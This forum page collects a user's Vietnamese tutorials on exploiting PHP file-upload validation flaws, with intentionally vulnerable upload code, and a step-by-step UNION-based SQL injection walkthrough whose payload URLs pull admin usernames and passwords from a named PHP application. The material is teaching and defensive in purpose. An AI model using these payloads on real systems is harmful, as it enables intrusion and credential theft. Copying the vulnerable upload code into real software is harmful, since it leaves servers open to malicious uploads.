banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: seamoun  XML
Profile for seamoun Messages posted by seamoun [ number of posts not being displayed on this page: 22 ]
 

rickb wrote:
@seamoun : Hình như anh chưa upload các demo phải ko nhỉ smilie

Thân, 


Các demo cho từng phần seamoun đã attach rồi mà. Login vào thấy file OK mà.

mrro wrote:
Hay lém anh seamoun. Có một hướng khai thác liên quan đến tính năng upload file trong web-application (không riêng gì PHP) mới được công bố ở hội thảo BlackHat 2008 vừa rồi là GIFAR. Tóm tắt là kết hợp file GIF với file JAR lại để vượt qua same-origin policy của trình duyệt.

Xem thêm http://heasman.blogspot.com/2008/08/on-gifars.html http://www.gnucitizen.org/blog/more-on-gifars-and-other-dangerous-attacks/

Bà con thử bình luận về cái GIFAR này xem. 


Anh cũng đang đọc bài viết trong link em gửi. Thanks
4) Trường hợp kiểm tra phần mở rộng của file trên server với đoạn mã sau:

Code:
<?php
$blacklist = array(".php", ".phtml");
foreach ($blacklist as $item) {
if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
echo "We do not allow uploading PHP files\n";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>


Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào.

III. CÁCH PHÒNG CHỐNG

Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL. Điều này có thể thực hiện được bằng cách lưu file upload bên ngoài thưc mục webroot hoặc trên web server nhưng từ chối truy cập đến thư mục đó.

Tài liệu tham khảo: Secure File Upload In PHP Web Applications - ScanIt
Công cụ sử dụng: Burp Suite http://portswigger.net/)
3) Trường hợp kiểm tra mime - kiểm tra phần nội dung của file upload với đoạn mã sau:

Code:
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>


Như vậy liệu có cải thiện hơn ? An toàn hơn ? Trả lời: có cái thiện hơn nhưng vẫn chưa an toàn. Mặc dù với đoạn mã trên kẻ tấn công không thực hiện thành công như ở Lab2, khi thay đổi type=image/gif vì lúc này người lập trình đã kiểm tra nội dung file upload có đúng là gif hay không ?. Nhưng nếu kẻ tấn công sử dụng một file gif và chèn mã độc vào thì thế nào ? Khai thác sẽ thành công !!!!

Sau đây là demo thứ 3 khai thác lỗi file upload trong PHP WebApp
2) Trường hợp không sử dụng JavaScript để kiểm tra mà thực hiện kiểm tra trên server với đoạn mã sau:

Code:
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

Với đoạn mã trên người lập trình hy vọng ngăn chặn được kẻ tấn công upload file độc hại lên server bằng cách sử dụng kiểm tra type=image/gif. Tức là kiểu file cho phép upload ở đây chỉ có thể là file gif. Điều này cũng không an toàn bởi vì kẻ tấn công có thể thay đổi kiểu type=image/gif cho phù hợp với sự kiểm tra của đoạn mã trên nhưng nội dung vẫn chứa mã độc.
Sau đây là demo thứ 2 khai thác lỗi file upload trong PHP WebApp
I. GIỚI THIỆU
Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, ...
Trong bài này seamoun sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server. Những phương thức khai thác mà seamoun trình bày chỉ mang tính tham khảo không ủng hộ các bạn khai thác đối với những server bị mắc lỗi.

II. KHAI THÁC LỖI UPLOAD FILE
1) Trường hợp sử dụng JavaScript để kiểm tra file upload
Giả sử ta có kịch bản gồm 2 file như sau:
Code:
<html>
<title>Secure file upload PHP Web Applications</title>
<head>
<script language=javascript>
function chkFileExtension()
{
var str=document.upload.userfile.value;
var ext=str.substring(str.length,str.length-3);
if ( ext != "gif")
{
alert("File is invalid");
return false;
}
else
{
return true;
};
}
</script>
</head>
<body>
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data" onSubmit="return chkFileExtension()">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
</body>
</html>





Code:
<?php
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>


Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,... mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết.

Trong demo sau seamoun sử dụng Burp Suite là một tool rất mạnh khi thực hiện Web Application. Có thể download tại : http://portswigger.net/
I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0

Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1
Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1'
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:

Code:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37


Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được).
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.

Lần lượt mình thử:
Code:
http://seamoun.com/phpevents/event.php?id=1 order by 1
 http://seamoun.com/phpevents/event.php?id=1 order by 2
 http://seamoun.com/phpevents/event.php?id=1 order by 3
...
 http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
 http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)


Như vậy truy vấn SQL với URL trên là 15 trường (field)
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau
Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1



Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như
manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:

Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được.
Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau

Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với
2 trường uname và pword + tên bảng là admin
Thực hiện lệnh:

Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.


Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.
0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi

Đến đây ta đã có thông tin uname và pword.
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau

Code:
Điều tra thông tin bảng:
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables
Điều tra thông tin trường:
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns


Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.

mr_hoang09 wrote:
dear chú seamoun!
Đầu tiên cháu cảm ơn vì chú có 1 bài viết khá hay, rất bổ ích cho cháu.
Chú à, cháu năm nay là sinh viên năm 3(ngành công nghệ thông tin,mai mốt mới đi học), những gì cháu biết thì nhiều và linh tinh lắm, ko hệ thống gì hết. Cháu nghe giang hồ dồn chú ở Đà Nằng mà cháu cũng đang ở đó. Giờ cháu muốn chú cho cháu biết phương tiện liên lạc gì với chú để cháu có thể thỉnh giáo những lúc gặp khó khăn(mail, nick yahoo, điện thoại, số nhà...)
Cháu cũng đã cấu hình đc một server trên Linux nhưng cấu hình xong, Scan chỉ biết đang chạy những dịch vụ gì rồi đứng đó ngó thôi chứ ko biết làm gì nữa hết.
Nick yahoo cháu nè:ku_shm.
số điện:.......ko dám ghi lên sợ bị nháy máy. 

Mình còn rất trẻ smilie , gọi chú nghe ghê ghê smilie . Diễn đàn HVA là nơi lý tưởng để bạn trao đổi và học hỏi, mọi vấn đề thắc mắc bạn có thể gửi lên đây, mọi người sẽ giải đáp cho bạn.
Nếu kiến thức của bạn tạm ổn như bạn nói thì bạn thử hãy tự học và thi. Như vậy tốt hơn, tôi thấy không quá khó đâu. Khi tôi thi Security+ và CEH thì thấy tiền lệ phí thi đã chóng mặt rồi, do vậy tự học cho đỡ tốn tiền smilie . Thi Security+ thì chỉ cần nộp $$$ vào là thi thôi còn muốn thì CEH thì bạn phải có code do CEH cấp, rồi dùng code đó mới đăng kí VUE hoặc Prometric tham dự thi. Điều kiện làm thì cũng không có gì khó khăn: 1) Có 2 năm kinh nghiệm liên quan đến bảo mật, 2) Download cái mẫu form trên trang Web ECCouncil về, 3) Scan cái CMND hoặc bằng lái xe, 4) Một lá thư của boss chứng nhận bạn đã có kinh nghiệm 2 năm liên quan đến bảo mật.
Sau khi có đủ giấy tờ trên một là fax hoặc email đến ECCouncil. Theo tôi nên gửi email là nhanh nhất, lúc tôi gửi yêu cầu code, một tí nó reply ngay smilie . Lưu ý là địa chỉ email của bạn là địa chỉ email của công ty bạn hoặc không phải địa chỉ email free như gmail, yahoo, msn, ...

Chúc bạn thành công !
 
Go to Page:  First Page Page 3 4 5 6 8 9 10 Page 11 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|